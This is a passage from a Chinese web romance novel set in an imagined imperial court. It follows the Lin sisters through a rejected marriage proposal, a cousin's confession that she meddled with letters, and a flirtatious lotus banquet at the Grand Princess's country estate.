众人惊呼,那鱼儿跟个抛物线似的又飞了下来,沈容下意识的将表妹护在身后,鱼儿却直接从二人身边掠过,掉在更远一些的地上。 林诗芸哈哈大笑着去捡自己的大鱼,林诗情只是淡漠的从沈容二人身上移开目光,沈容自然感受到了林诗情的视线,他后知后觉,终于将表妹从身后放了出来。 可他却不认为刚才的举动有任何不妥,表妹体弱胆小,他作为表哥,护着是应该的。 林诗芸钓到的鱼很大,众人惊喜的声音也引来的几位大人,林诗芸钓到的大鱼被送到了后厨,半个时辰后抬上了桌,成了一道美味的酸菜鱼。 林诗芸亲点的。 这一下午,林诗情话都不多,但她的嘴角始终噙着淡淡的笑意,举止娴雅,只是仔细瞧还是会发现,她不是很高兴。 原是钓完鱼后,沈容想去找林诗情说话,两年未见,情儿妹妹已经长大了,一双美目柔光潋滟,如同夏日余晖,她今日一身藕粉色长裙,举手投足间皆是温婉大方。 一头长发乌黑如墨,走动时鬓间的珍珠步摇来回摆动,又多了几分可爱灵动。 沈容觉得,再没有比情儿更适合自己的女子了。 亦静亦动,说的便是她。 这两年,他是有给林诗情寄过书信的,可是每一封都石沉大海。 他想问问诗情妹妹有没有收到,那日她的表情甚为冷淡,他是想知道他们之间是否有什么误会的。 彼时林诗芸正同沈钰脑袋凑在一处,聚精会神的讨论鱼的吃法,林诗情则是在一旁笑意盈盈的看着二人。 沈容走进林诗情,刚开口道了句,“不知诗情妹妹这两年可好?我寄的书信,” 只是话还没说完便被打断了。 孟婉婉小跑过来,带着哭腔扯着沈容的胳膊,“表哥,我,我母亲留给我的镯子找不到了,表哥,怎么办啊表哥。” 林诗情歪着头看着拉扯的二人,微微勾了勾唇角,似乎是觉得有些无趣,又面无表情的走开了。 她最近去戏园看的戏还挺多的,今日不想再看了。 林诗情始终认为男子是取悦自己的工具,若是找不着自己钟意的,像大姐姐一样,嫁个愿意为自己付出一切的,那也不错。 她很清醒。 清醒如母亲对待父亲一般。 晚膳用完便打道回府。 彼时已经华灯初上,夜色美的不像话。 路上行人颇多,马车在路上行的很慢。 因着两个女儿都在,姚氏便没有在马车上同丈夫说沈夫人所提亲事,林父也喝了不少的酒,坐在马车上摇摇晃晃的,有些像是醉了。 林诗芸虽然神经大条,但是对待姐姐身上却是十分细心的,她第一时间便发现了姐姐的不对。 但是她不知姐姐为何心情不好。 想到今日那位柔弱的时不时唤沈三哥表哥的女子,她似乎发现了问题所在。 所以她这一路都在叽叽喳喳的,试图叫姐姐开心起来。 林诗情在听到妹妹说要养鱼的时候还只是有些无奈,心想妹妹第二天睡醒保准就忘了,却没想到第二日一早管事真的帮她买来了鱼苗,大大小小的,最大的有两三斤重,怕是直接能吃了。 翌日一早,酒醒后的林父皱着眉头听妻子诉说沈夫人为沈三求娶诗情一事。 在女儿之事上,林父总是比旁人要敏锐一些。 因着着急上朝,他只道:“昨日我见沈三同一女子举止亲密,别说是什么表哥表妹的,咱们都是过来人,谁家表妹同表哥随意拉扯,若是沈三无意也便罢了,若是两情相悦,咱们可不能拆散有情人。已两年未见过他了,他定也经历了颇多,人啊,不会是一成不变的。” 他昨日远远的便瞧见一女子扯着沈三的胳膊表哥表哥的叫着,泪眼婆娑的,二人像是在找什么东西,事不关己,他倒没怎么注意。 平心而论,从前林父也是想过将大女儿嫁给沈三的,可惜了,这小子自己没抓住机会,一去两年连封信都没来一封。 林怀诚都快要出门了又返回来对妻子道:“你也去问问情儿的意思,毕竟从前她是最愿意黏着沈三的。” 若是女儿愿意,那叫沈家将人撵了,这事也不是不行。 姚氏明白丈夫的意思,点点头,目送丈夫离开。 早膳后,姚氏便着人去唤林诗情。 姚氏仔细端详大女儿,拍了拍女儿的手道:“你大姐姐的婚事已经定下,娘亲是想问问情儿,可有心仪之人?” 林诗情猜出了些什么,直接摇头道:“女儿没有心仪之人,娘您直接说罢,是……谁来提亲了吗?” 姚氏感叹女儿一颗玲珑心,点点头,也不拐弯抹角,“昨日沈夫人同娘亲提及你和容哥儿,娘亲想问问情儿的意思,娘记得,你从前最爱粘着容哥儿,你那一手的丹青,还是受了他的启蒙。” 林诗情将头靠在母亲肩头,闷闷笑着道:“娘亲,我不喜欢沈三哥了。” 不是容哥,是沈三哥。 不是不喜欢,是不喜欢了。 姚氏听的出来,女儿的虽是笑着说的,但其实却没多高兴。 她轻轻抚摸着女儿的头发,也改了口,柔声道:“情儿从前喜欢过沈三吗?” 林诗情难得的露出些小女儿态,撅了撅嘴道:“应该是喜欢过吧,他走时我还哭过呢,不过,不过现在应该不算是喜欢的,” 林诗情哼了一声道:“像妹妹说过的,惹我不开心的人,我才不要喜欢。” 这话说幼时林诗芸说的,起因是姚若华老拿林诗芸庶女的身份说事,林诗芸觉得讨厌,便对林诗情说,姐姐,她惹我不开心,我才不要同她一起玩。 林诗情觉得,任何感情都是一样的。 平白叫她不开心的人,她为什么还要再喜欢? 再说这一别两年,她真的没怎么想起他来,不知为何父母如此笃定自己还喜欢他的。 她一个侯府千金,差男子喜欢了?作何要上赶着去喜欢谁? 姚氏点点头,笑着道,“嗯,情儿说的对,嫁人啊,还得嫁个看重你的,能将你放在心上的才好。” 知女莫若母,姚氏看了一眼女儿又道:“昨日在沈府可是发生了什么事情?” 林诗情撅了撅嘴巴,想了想道:“倒也没发生什么事情,就是觉得那个表妹同沈三的举止有些太过亲密了,不过,娘亲,” 林诗情坐了起来,同娘亲撒娇道:“我说这个不是因为还喜欢沈三哥,只是觉得不合适罢了,他表妹抱着他的胳膊哭哭啼啼的时候,他下意识的是用双手去扶住她,而不是拉开距离,说明他们平日里就是这样相处的,大哥对我们都不这样,男女大防还得是有的,我就是觉得,嗯……有点不合适。” 她四妹妹扯着大哥和父亲或是焦急或是撒娇模样她常见,跟昨日她看到的完全不同,一个是纯粹的,一个却是带了些说不明道不清情愫的。 如此,姚氏便也明白了。 只是她觉得女儿说这些话,是不是心里还有些吃醋? 但女儿拿的起放得下,这一点是叫她满意的。 姚氏笑着用手指点点大女儿的额头道:“惯会跟你妹妹学着胡闹,别人的事你看看便罢了,怎么还说出来。” 林诗情嘿嘿的笑着,姚氏继续道:“你爹今日倒也提及此事,我以为是他看错了,你竟也看到了,罢了罢了,不管他二人都没有情愫,这事咱家都不能应了,他们同住一个屋檐下,日久生情这事也是有的。” 表哥表妹的,这种事还少? “只是……” 姚氏还有些迟疑,又道:“母亲还是想差人打听清楚了,万一这之间有什么误会” 林诗情思趁了片刻也点了点头,能有什么误会呢,下意识的反应不会骗人吧? 嘴上却只道:“情儿都听母亲的,情儿才不想嫁人呢,能长久的陪着母亲才好。” 姚氏叹了口气,无奈道:“要是可以,爹娘倒是想一辈子养着你们的。” 待林诗情走后,姚氏便叫人去打听这位表妹,若是误会,便皆大欢喜,若二人真是关系甚密,那这事便罢了。 哎,怎么就出来个表妹呢。 姚氏心里还是有些可惜的,她是极喜欢沈三这孩子的。 而与此同时,姚国公府上正闹呢,姚君远自知理亏,也不敢跟父亲顶嘴,偏偏宋晏还来凑热 闹,表情颇有些幸灾乐祸。 身边的侍卫急匆匆前来,说是长公主有请,宋晏这才收敛起神色,对姨丈道了句,“姨丈,您莫要动气,便是您同意了也不能怎么样的,就怕林大人看不上远哥儿啊。” 姚国公脸黑了又黑,想想确实也是啊,自家这小子自小便混,别说林二了,就是小妹估计也是看不上的。 姚国公摆了摆手,转头叫人走了,自己则是皱着眉头找母亲商量这事去了。 宋晏朝姚君远挑眉,还得是激将法有用吧,毕竟实话确实扎心。 姚君远翻了个白眼,叫宋晏赶紧滚。 宋晏心情颇好的滚了。 马上就是大姑母的荷花宴,他还得好好同姑母说道说道,莫要叫两位表妹欺负了芸儿才行。 第49章 一大早的定安侯府便热闹起来了。 林诗芸正指挥着下人将鱼全都投进了观景湖里。 家里的荷花也开的正艳,她揪了几个莲蓬下乐呵呵的看着闻讯赶来凑热闹的大姐姐和三姐姐,嘿嘿笑着道:“以后家中的鱼我都承包了,每日都能吃上新鲜的。” 林诗瑶忍笑,“你且等着吧,这池子里全是你爹找来的名贵品种,待二叔下了朝,保不齐你是要挨训的。” 林诗芸才不怕呢,“女儿总比这些鱼儿重要吧,我爹总不会真打我一顿,嘿嘿,” 姐妹两个也不理这个胡搅蛮缠的,拉着她去商量荷花宴的事情去了。 一开始林诗瑶是没打算去的,毕竟她已经订亲了,嫁衣盖头还得她自己绣。 但是未婚夫今早差人递了口信,说是那日一早来接她一同前去。 她未做思趁便决定去了,毕竟婚前还是培养培养感情比较好。 对于妹妹们她是放心的,只是四妹妹,听说被长公主给点了名说是想见见,所以她们几个便都去给林诗芸挑衣裳首饰去。 她们都知道长公主怕是因为宋晏的关系,但是不管怎么说,礼数还得周全。 林诗芸那日的穿着打扮不能太过隆重,也不能太随意了。 于是待到荷花宴那日,林诗芸一身水蓝渐变长裙,裙摆上绣满了盛放的荷花,几只蝴蝶在荷花上翩翩起舞,仿佛活过来一般,倒是应了今日宴会的景色。 鬓角一边是成色极好的珍珠流苏步摇,一边是一支红玉珊瑚簪,没有过多的装饰,却是活泼又不失典雅。 今日的林诗芸略施粉黛,唇上是较为艳丽的珊瑚色口脂,衬得她整个人更是丰姿秀丽。 她乖巧的坐在车上,并不知道今日是被长公主点名接见的。 林诗瑶的打扮便略显随意了些,一身的粉色长裙,头上只几只镂空的金簪,面上只简单涂了些脂粉。 林诗情一身紫色长裙,头上是两只白玉芙蓉簪,两侧各一只金制并蒂海棠,简约温婉,不失大气。 林诗意是一身鹅黄色长裙,头上一只鸳鸯莲花并蒂簪,周围并几只金簪装饰,也是气质玉兰,娇艳欲滴。 林景行林景明两兄弟同姐妹四个一同前往。 林景晟因着月考成绩太差,被定安侯给罚了抄书,目前还在紧急赶制作业中,至于庶子林景年,这么多年都像个隐形人一般,一心研究他的天文学,是从来不浪费时间去掺和这些宴会的。 今日的天气很好,太阳高高挂在天空,是有些热辣滚烫的。 郑子墨已经等在门外,脖子伸的很长,看样子已经等了有一会了。 马车上的郑敏敏无助的打着哈欠,她可是一早便被叫起来了,大哥催的紧,结果这上了马车也不是出发,反倒是等在人家定安侯府大门外。 郑敏敏挑起车窗看着痴汉大哥翻了个白眼,爹爹说的真没错,他这个儿子就是给林诗瑶养的。 见人终于出来了,郑敏敏眉眼一笑,乐颠颠的下了自家马车上了四姐妹的车架。 她今日可是故意没带几个庶妹,她同准嫂子坐一辆马车沟通沟通感情,不过分吧? 郑子墨没看到妹妹的动作,一双眼睛就粘林诗瑶身上呢。 待他发现时已经晚了,妹妹已经上了未婚妻的车架。 于是这一路上,五个姑娘在马车内也聊的热火朝天的。 郑敏敏也不再跟林诗瑶针锋相对了,而是开始说她哥哥的坏话。 而另一边,大秦氏在儿子殷切的目光中终于上了马车。 在大秦氏和老国公夫人的劝说下,姚国公终于同意儿子求娶林诗情。 但对此事,姚国公是没抱多大希望的。 他觉得这混球配不上林诗情,只是他同母亲也商议了,如此也好,诗情要是嫁给别个母亲总是会担心的,嫁回自家自然不会叫人欺负了去,只是,他觉得儿子胜算不大,便在母亲和妻子的劝解中同意了。 至于县主的婚事吗,给老二也是一样的,都是自家人的助力,差不到哪里去的。 这是地处半山腰上的一处庄子。 庄子很大,附近百十米只这一处庭院,雕梁画栋的,出门便能看到春山的景色,站在高处还能看到春河上游玩的船只,风景不可谓不优美。 此一处是长公主的庄子,在往西一些距离便是端王府的庄子了,宋晏已经在此住了几日,也不嫌麻烦,每日花个把时辰往返京城。 其余地方也是有庄子的,只是都在山脚,或是更远一些的地方,风景都称不上好。 且只这两处庄子是有温泉的。 长公主庄子内的人工湖是从春山引入的活水。 若是冬日公主性质来了,也会叫人将温泉水引入这人工湖,这样湖内的荷花在冬日里也是可以盛放的。 故为了展示这温泉水,往年的荷花宴都是设在深秋,今年倒是头一次设在夏日。 今日日头高悬,风景如画,偶有一阵风儿呼啸而过,倒也给今日送来了些许清凉。 众多千金小姐王孙公子乘坐着马车缓缓而来,一个个锦衣华服,不可谓不隆重。 毕竟这是长公主的宴会,能参加的无不是京中炙手可热的人家,能来长公主的宴会,那可都是带着荣光的。 庄子很大,一草一木皆是风雅。 门前已经停了很多马车了,有专门的下人侯在大门处,好接引前来的宾客。 林诗瑶被郑子墨给亲手扶下了马车。 林景行只看了一眼便别过脸去,人家确实是未婚夫妻,大庭广众的倒也正常,他不生气。 林诗芸看着周围姹紫嫣红的各家小姐们,蹦跶着来到大哥哥身边,兴奋道:“大哥哥,今日好多漂亮姐姐,你看看有没有看中的啊。” 结果话还未说完,便被林诗情给扯了过去,“你再口无遮拦,晚膳便只用一碗饭吧。” 不让吃饱可还行,林诗芸立马噤了声,老实的跟着姐姐身后做花瓶了。 林景行笑着摇摇头,他今日也就是护送几位妹妹,旁的他是一点兴趣都没有的。 不过瞧着不少世兄也都来了,沟通些科考的经验也是好的。 一行人被引入庄子,去见长公主。 今日来的皆是品貌俱佳的公子小姐。 因着长公主的两个双生女儿也到了婚嫁的年龄,这两年长公主便经常举办宴会。 今日这荷花宴嘛,倒真的 不是为了两个女儿,一是为了解闷,二是她想见见叫她那个眼高于顶的小侄子捧在心尖尖上的人。 长公主今年三十六岁,长相极美,宋晏在相貌上也是随了其几分的,只是长公主的长相更为艳丽,宋晏更清冷五官也硬朗一些。 长公主的双生女儿倒是生的普通了些,也不叫普通吧,若是放到人群里,那也是极好看的,只是若跟其母亲比起来,便略显平庸了。 原是长公主年轻时被一男子救过,便义无反顾的嫁了那男子。 只是可惜那驸马心里有个青梅竹马,尚了公主之后只同公主甜蜜了两年,便将那青梅给养在了外头。 众人都觉得驸马疯了,那是长公主啊,官家唯一的妹妹!嫡亲啊! 那时候的长公主刚九死一生的诞下一双女儿,驸马非但不关心照顾,竟然在外头同青梅过到了一处,真是可笑。 之后东窗事发,长公主便直接将二人给杀了。 别问什么有没有王法,那是天家,是公主,杀个负心汉而已,动动手指的事。 林诗芸不知长公主点名要见她。 她见了坐在上首的美貌妇人,一双眼睛睁的锃亮。 哇塞,长公主可真好看啊,是那种浓墨重彩的好看,艳而不妖,美丽中又带着大气端庄。 林诗芸点点头,果然还得是死了男人的女子过的逍遥快活啊,她顺带看了眼公主身边的侍卫,哎呀妈耶,全是高大英俊身材健硕的。 长公主招招手,叫林诗芸上前来。 林诗芸也不怵,乖乖的上前躬身问安。 长公主笑意盈盈的打量着林诗芸,这张天仙似的的小脸,难怪叫晏哥儿痴迷了。 长公主直接摆摆手叫定安侯府几位公子小姐的都退下了,独独留下林诗芸说话。 长公主的双生女儿一看林诗芸便高兴的 “妹妹长得真好看,这小脸嫩的都能掐出水来了,叫姐姐摸摸,” “我也要我也要,二姐也摸摸,怎么这么会长呢,母亲,妹妹比晏哥儿还要好看呢。” 长公主两个女儿乃是双生子,长得可以说是一模一样的,林诗芸眼睛看看这个看看那个,都不敢眨眼了,傻傻道:“两位姐姐长的一模一样啊,我哥哥姐姐也是双生子,但是只小时候像。” 林诗芸说的一点没错,这两位郡主,长得有**成相似,就算是亲近之人偶尔也是会认错的。 长公主瞧着三个花儿一般的小姑娘,心情十分只好,笑着道:“你们两个可不准欺负妹妹,今天妹妹是客人,你们喜欢,母亲便叫你们表哥经常带妹妹过来玩。” 林诗芸也点头,她也喜欢同直率的姐姐交往,这两个姐姐性格一看就是好的,完全忽略了长公主口中的表哥是谁。 待宋晏寻过来的时候,便见长公主正牵着林诗芸的小手笑作一团呢,林诗芸亦是眉眼弯弯的,讨喜的话是一溜烟的往外冒。 “公主您夸的芸儿都不好意思了,芸儿觉得您才好看呢,难怪宋晏哥哥长得好,原来是随了您的长相啊。” 这小嘴甜的,一下夸了两个人。 宋晏嘴角兜着下不去的笑同姑母请安。 长公主抿着嘴看了看二人,点点头,确实相配,这整个大兴怕是也找不出比这二人更好看的人儿了。 长公主眨巴着眼睛道:“晏儿来了,正好,这庄子大,你带着芸儿走走看看,去湖心亭逛逛,今日人多,你且好生照顾林四姑娘。” 姑侄二人眼神交汇,宋晏道了声好便带着林诗芸出去了。 宋岩完全忽略了两个表妹揶揄的眼神,这俩完全是两个胆大包天的,他还是叫芸儿离她们远一点。 林诗芸全然不知这是长公主故意给二人制造单独相处的机会呢,乐呵呵的朝公主行礼后这才跟着宋晏走了。 二人并排着走在一处,身后没有丫鬟小厮。 一路上多是林诗芸在叽叽喳喳的,宋晏脸上带着温柔的笑意听她说话,时不时的转头看她一眼,再附和一句,如此周而复始。 因着庄子的位置,加上又人工湖的原因,走在路上并未觉得很热。 林诗芸今日打扮的很好看,头上的步摇会随着她的动作轻轻摆动着,心情极好的模样。 一双朱唇娇艳欲滴,说话时唇角微微翘起,望向他时也是眉眼弯弯的,叫宋晏一颗心突然开始剧烈的跳动着,叫他不自觉的停下了脚步。 林诗芸莫名的望向他,问道:“晏哥哥,怎么了?” 林诗芸这也才发现,他们不知何时走到了一处假山附近,不远处便是人工湖了。 只是林诗芸有些奇怪,那些公子小姐都到哪里去了,为何他们走在这路上未曾见到一个人? 宋晏同样看了看四周,四下无人,很安静,是他专门挑的地方。 于是宋晏深吸口气,对着林诗芸道:“芸儿,我有话想对你说。” 林诗芸睁大了眼睛,点点头,直直的望向他,等待他说话。 宋晏清了清嗓子,刚要开口,却被林诗芸踮起脚来直接给捂住了嘴。 宋晏一时间不知道作何反应,呆愣愣的被林诗芸扯到了假山后面。 林诗芸的手心还贴在宋晏的唇上,半晌林诗芸松开了宋晏轻声道:“晏哥哥,咱们小声一些,是我二姐姐和沈三哥的表妹。” 林诗芸皱着眉头看向外头,撅着嘴小声嘟囔道:“说话就说话,她干嘛扯我姐姐的袖子。” 宋晏舔了舔唇瓣,似是在回忆林诗芸掌心的温度,心中无奈的叹气,他看着身旁的小人儿,知道今日的表白又要失败了。 他轻轻的嗯了一声,小心的伸出了手臂覆在石壁上,以免林诗芸碰到了头。 林诗芸并未注意,只一心看着外头的情形。 宋晏并不在意外头的事情,只一心盯着眼前的心上人。 入目无他人,四下皆是你。 我见众生皆草木,唯有见你是青山。 第50章 时间回到一刻钟前。 彼时的林诗芸正在同长公主说话,林诗瑶同未婚夫散步去了,郑敏敏早就跑没了影儿,林景行同林景明去找好友说话。 林诗情和林诗意随着人流走到了人工湖欣赏美景。 所有人都未带丫鬟小厮,公主府的下人来来回回井然有序地忙碌着。 眼前这一方天地里满是盛开的荷花,大大小小的被分成了五个区域,中间是个超大的湖心亭,四周是四个凉亭,每一处的池子里都开满了荷花,也有一些姑娘坐上了船,去自己采荷花摘莲蓬去了。 二人静静的欣赏了一会儿,林诗意被相熟的姑娘唤去一处观景亭投壶,林诗情一向有才名,则被另一群姑娘拉去行飞花令。 呆的无聊,林诗情欣然前往。 只是叫林诗情意外的是,沈家那位表妹孟婉婉也在。 她猜想定是沈家人带来的,倒也并未在意,听着指令开始玩游戏。 飞花令,自是念出带花字的诗句,念不出或者念重的要罚一杯酒水。 侍者在一旁端着酒壶恭敬的解释,是庄子上自己酿的梅子酒,果香浓郁,甘甜醇香,轻易不会醉人。 都是世家贵女,自小启蒙,带花的诗句也是背了百八十首的。 游戏开始,十几人一圈下来竟然没一个重复的,于是众人继续。 正在兴头上呢,御史大夫家的三姑娘终于是同前头某位姑娘重复了,虽说有些懊恼,但这位姑娘十分爽利的喝下了罚的酒水,其她人继续。 后面的诗句自然也不能和先前的重复,不巧,到了孟婉婉那里,卡壳了。 众人起哄,叫这位不知谁家陌生的姑娘赶紧喝了罚酒。 这时候孟婉婉却是迟疑了起来,她没想到自己能输的,她为了追上表哥自小便苦读诗书,这些古诗都是她耳熟能详的,只是她刚刚有些走神罢了。 她,她今日只是来凑个热闹,来京中两年了,她还是头一次参加宴会。 只是她身体一直不好,从不敢喝酒,若是喝了这杯下去,她怕生病,也怕自己出丑。 于是便支支吾吾的,迟迟不肯拿起酒杯来。 姑娘们自然是不高兴了,有脾气不好的直接道:“玩不起就不要玩啊,我们又没叫你。” “就是,一杯果酒而已,人家主家也说了 不上头了,有什么好矫情的。” 林诗情没有见到沈家人,沈三沈四都不在。 贵女们的话越说越不好听,孟婉婉脸色惨白摇摇欲坠,终是认识一场,她便笑着解围道:“这位姐姐瞧着便柔弱,不如我代她喝了这杯酒水,咱们再继续如何。” 于是林诗情颇为豪气的饮下一杯酒,众人也不再去管要哭不哭的孟婉婉,这才又玩了起来。 又玩了两圈输的姑娘也越来越多,林诗情便也故意念重了诗句又罚了杯酒水才故作可惜的退出了游戏圈子。 后面她借口有些头晕便出了亭子,她是想去湖边走走的,这酒水虽不醉人,却还是叫人脸上发热。 她一人静静的走着,偶有夏风吹过,叫她脸上的热度也消减了几分。 只是她没想到走着走着身后却被人追了上来。 来人小声的唤着她的名字,她回头一看,竟是孟婉婉。 孟婉婉一路小跑着,面色涨红,有些气喘吁吁的扯住了林诗情的衣袖。 林诗情虽不明白她这是闹的哪出,但还是笑着安抚道:“先休息一会在说话,诗情不走,孟姑娘不必着急。” 孟婉婉有些不好意思,休息了片刻才道:“我是来谢谢林二姑娘的。” 言罢还朝林诗情揖了一礼。 林诗情闪身躲开了,知道她是在谢什么,只回礼道:“只一句话的事情,孟姑娘不必放在心上。” 孟婉婉却支支吾吾的,面色越来越红,最后却还是鼓起勇气坦白道:“二姑娘你,你不怪我故意纠缠表哥吗?” 孟婉婉的头越来越低,手上的帕子都快被她揪烂了,“那日,那日是我故意缠着表哥帮我寻镯子的,其实并没有丢,是我故意落在草丛的。” 林诗情点点头,面上也看不什么情绪来,只了然的勾了勾唇,“若他是真心钟情于谁,又岂能是你故意纠缠就能将他夺走的?终是他心不定,对你也生了情愫罢了。” 林诗情看着孟婉婉还有些小心翼翼的面容,郑重道:“孟姑娘多虑了,我与沈三公子,亦师亦友,无关情爱,姑娘大可放心。” 偷看的林诗芸撅起了嘴,哼了一声小声道:“我姐姐就是太好了,竟还安慰起她来了!” 宋岩靠在假山上歪着头看着她,只觉得林诗芸生气的小模样十分可爱。 他伸出了另一只空闲的手,帮她将额前的碎发别在脑后,又捏了捏她的鼻尖,叫她不要生气,不值当的。 一阵阵的风儿吹过,他不止一次的亲吻着她的长发,叫他直接沉醉在她的馨香里。 男人的动作林诗芸丝毫未觉,只是看到又一个奔向姐姐的人,又咦了一声,嘟囔了一句大猪蹄子来了。 宋晏这才转过头去看了一眼。 哦,是沈三。 宋晏有些无趣的撇撇嘴,这人啊,早作何去了,怕是回来晚了啊。 而后他也不管那些人,温柔的挑起林诗芸的长发放在唇边。 这边宋晏单方面浓情蜜意,那边的沈三有些着急。 沈三是来找林诗情的。 今日他本就是来偶遇林诗情的,只是表妹求了母亲,说也想出来见见世面,母亲便叫他将表妹也带出来了。 小弟也在,只是听说芸儿被长公主唤去说话,等了半晌不见人出来,已经去别处玩去了。 远远的,他便看到了林诗情的身影。 只是刚一走进,又看到了林诗情身旁的表妹。 他未做它想,只当二人是碰巧遇到,便急忙上前同林诗情打招呼。 “诗情妹妹,表妹也在。” 林诗情扯了扯唇角,视线在二人身上流动,之后淡淡回了个礼。 “沈三哥是来找孟姑娘的吧,如此我便告辞了。” 沈三忙叫住她,以往总是一丝不苟的衣冠如今被风吹的有些凌乱,他焦急道:“不是,我,我今日是来偶遇诗情妹妹的,有些话,我想同你解释清楚。” 林诗情回头,眼神有些不解,同她解释,为何? 沈三上前,深呼吸一口,抱拳道,“原是想问问诗情妹妹,两年未见,为何突然如此冷淡,我,我这两年写的书信,妹妹可有收到?” 林诗情皱眉,一头雾水,“信?什么信?” 二人都没看到,在沈三说出信这个字的时候,站在二人身后刷的一下惨白了脸的孟婉婉。 沈三却是如释重负的,果然是没有收到吗,但他此时已经没有心情去深究林诗情为何没有收到了,而是继续解释道:“我这两年每走一些地方都会给家中寄来书信,想是家人疏忽,未曾给妹妹送去吧,我,我是想问问,” 沈三深吸口气,全然忘了身后的孟婉婉,直接道:“我是想问问诗情妹妹,对于我母亲所提你我二人的婚事,可有异议,我,我,” 兴许是觉得太唐突了,沈三焦急道:“我是愿意的,所以便想知道诗情妹妹的想法,” 林诗情只抿着嘴挑着眉看了眼神色有些激动的沈三,眼神转而落在了他身后身形摇摇欲坠的孟婉婉身上。 林诗情摇了摇头,一脸淡然,“我没什么想法,倒是沈三哥,” 她忽然指了指沈三身后的孟婉婉,“你表妹好像快要晕倒了。” 沈三有些莫名林诗情为何会突然说到表妹,只是顺着林诗情的手指的方向看去,果然他身后的表妹脸色惨白,看着他欲言又止的,似乎快要晕倒了。 沈三并没有去扶,只迟疑了一瞬才道:“表妹不若先去树下休息,一会我便送表妹回去。” 言罢转过头,眼睛直直的看向林诗情,执着地等待她的回答。 林诗情却是笑了,只是眼睛里没多少笑意罢了,她饶有兴致的看向二人,刚要开口却被一阵风给迷了眼。 只见一阵狂风似是平地而起,这风呼啸而过,吹起了地上的沙石也卷下了树上的树叶,叫人瞬间迷了眼。 林诗情忙抬起衣袖掩面,风儿却还是吹过的了她的脸颊,叫她不敢睁眼。 可下一瞬,她却听到有人疾步而来,替遮着风,将她牢牢护在身前。 来人身上有淡淡的茉莉花香。 是谁? 不是沈三。 大风还未过去,她微微睁开了双眼,入眼看到的便是来人高大坚硬的胸膛,他用衣袖环住了她的头,用身体挡住了来风的方向,不叫她被风吹到半分。 可他们却没有实质性的亲密接触,他只是护着她,并没有碰到她。 他像是在坚守着某一条防线,守护,却并不逾矩。 林诗情有些呆愣的望着姚君远,是表哥啊,果然,是她的表哥。 林诗芸也被宋晏挡在身前,只不过他们这个方向有假山挡着,风要小很多。 林诗芸踮起脚尖,扒拉着宋晏护住自己的胳膊,看到的却是不知何时冒出来的将姐姐护住的大表哥,和那边,将表妹拥在怀里的沈三。 林诗芸撇撇嘴,呸了姚君远一声,怎么哪都有他。 又看向同表妹抱在一处的沈三道,“嘴上不承认,身体这不挺诚实,直接将人抱在怀里了,这肉身相贴的,动作这么娴熟,私底下没少抱吧?” “呸,大猪蹄子,还想骗我姐,狗东西,幸亏来了阵妖,哦不仙风。” 她想说妖风来着,又觉得仙风更合适一些,不然姐姐怎么能看清沈三呢。 风已经小了。 宋晏放下了手,无奈捏了捏林诗芸的鼻子道:“不准说脏话。” 林诗芸撅了撅嘴,乖乖哦了一声,继续看向姐姐。 风势渐小,姚君远看着并无异样的表妹松了口气,这才将人放开。 林诗情看着头上还带了片树叶的表哥,像是想明白了什么,终是如释重负,嘴角轻轻上扬起来,这一次,是发自内心的愉悦。 她踮起脚尖,伸手帮姚君远将头上的树叶给拿了下来,俏皮道:“幸亏表哥来了,不然情儿怕是要叫大风给吹跑了。” 姚君远感受着表妹的小手擦过自己脸颊,老脸一红,咳嗽一声道:“嗯,表妹无事便好。” 林诗情再看向沈三时,二人也已经分开了。 林诗情唇角还带着笑意,看向沈三直接道:“我已经同母亲说明,拒了沈伯母所提之事,沈三哥,还是珍惜眼前人吧。” 言罢林诗情便转过头问姚君远认真问道:“表哥要同我游湖吗?情儿有些嘴馋,想吃嫩莲子。” 姚君远迫不及待的点头称好,脸上的笑的同 傻子一般,任沈三再迟钝也看出了答案。 林诗情二人越走越远,这边孟婉婉却好像下定了某种决心,叫了声表哥,那些信,是被我拿走的…… * 林诗芸又不高兴了。 嘴巴撅的都能挂个秤砣,哼,到底是显着他了! 狗东西要拐走她姐姐了!怎么办啊她该怎么将这事给搞砸呢? 看林诗芸突然愁眉苦脸,宋晏道:“怎么了?可是哪里不舒服?” 林诗芸抬头便看到了宋晏关切的脸,心里感叹了句晏哥哥可真好看啊,如实道:“这表哥表妹的,若是成了亲,这,” “万一生出的孩子不好怎么办啊?我姐姐不是就成众矢之的了?” 林诗芸叹气,她该怎么向宋晏解释近亲不能结婚这件事呢? 宋晏却是笑了,“可即使不是表兄妹成婚,生出的孩子也可能会有问题啊?芸儿为何会有这般苦恼?” 林诗芸被噎了一下,虽说却是也是这般的道理,但是,但是吧 她真的没办法同古人解释这个问题的,索性放弃了挣扎,这事又不是她说了算的,瞧着姐姐刚才对表哥的态度,哎,她不能想了。 宋晏继续问道:“芸儿可想尝尝嫩莲子?姑母这湖里产的莲子分外甘甜。” 林诗芸点点头,想着姐姐也去游湖了,便抓住了宋晏的衣袖催着人赶紧走,“那咱们去吧,哦对了,午膳会有莲子羹吗?我姐姐可爱喝了。” 宋晏乐意被她抓着,点点头,“还有芸儿爱吃的大肘子,水煮鱼,” 想到他搜集的方子,宋晏又故意叹气道:“我府上的厨子最近研究出不少南方菜,可惜啊,没人跟我一同分享,” 林诗芸顿时停下了脚步,吞了吞口水道:“南方菜?会很甜吗?” 宋晏忍笑,望着她一双亮晶晶的眸子道,“微微甜,我叫他们改良过了,味道特别好。” 林诗芸偷偷伸出舌尖舔了舔唇,望着宋晏眼神期待道:“那,那我可以去尝尝吗?” 宋晏心里乐开了花,面上却是认真道:“自然,我一人用膳十分无趣,有芸儿陪着自然好,改日,改日我邀请芸儿来做客可好?” 林诗芸高兴的直点头,“嗯嗯,好。” 只是两人这还没到湖边呢,便听到有人大声呼喊,“芸儿妹妹!允儿妹妹!” 林诗芸回头,沈四小跑着过来了,气喘吁吁道:“芸儿你在这啊,我找了你半天,” 沈四也不当自己是外人,竟然直接伸手要牵芸儿的手,嘴里道:“走走,哥哥带你去游湖去!” 只是他那手还没碰上林诗芸便被宋晏沉着脸打掉了,“不用了,我陪芸儿便可,便不劳沈四公子作陪了!” 沈四这才看到这位眼高于顶的世子殿下,他还来不及再说些什么,林诗芸便被宋晏给扯着胳膊带走了。 林诗芸冲着沈四摆摆手,“我同晏哥哥约好了的,咱们下次再一起玩啊。” 徒留沈四再原地摸着脑袋看着二人离开的背影不知所以,不是,这端王世子是从哪冒出来的,为何同他抢芸儿妹妹? 宋晏在听到林诗芸说下次一起玩的时候脸已经黑成了锅底,很好,这沈四果然是好样的!他是该同沈太傅好好聊聊了! 50-60 第51章 大姐姐的婚期定了,定在来年三月春暖花开之时。 